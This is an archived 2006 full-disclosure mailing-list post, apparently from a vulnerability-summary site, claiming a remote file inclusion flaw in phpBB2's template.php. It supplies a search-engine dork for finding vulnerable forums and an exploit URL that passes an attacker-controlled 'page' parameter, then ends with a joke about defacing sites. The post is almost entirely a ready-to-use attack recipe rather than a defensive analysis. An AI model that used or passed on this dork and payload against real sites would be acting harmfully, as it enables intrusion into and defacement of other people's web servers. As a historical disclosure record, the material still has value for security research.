Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SA20418] dotProject Cross-Site Scripting Vulnerability

[SA20438] BlueShoes Framework Multiple File Inclusion Vulnerabilities

[SA20441] OSADS Board Comments Script Insertion Vulnerability

[Full-disclosure] Advisory 04/2006: DokuWiki PHP code execution vulnerability in spellchecker

From:	canberx_(at)_linuxmail.org <canberx_(at)_linuxmail.org>
Date:	05.06.2006
Subject:	phpBB2 (template.php) Remote File Inclusion

********************************************************************
*Title:
*phpBB2 Remote File Include
*
*
*Credit:
*Canberx
*
*
*Thanx:
*Forewer-Partizan
*
*
*Mail:
*canberx@linuxmail.org    www.canberx.tk
*
*
*Google Dork:
*Powered by phpBB © 2001, 2002 phpBB Group
*
*
*Exploit:
*www.target.com/[path_to_phpbb]/template.php?page=[attacker]
*
*
*********************************************************************

Plz Don't Hacked site if it already has been defaced :)

*********************************************************************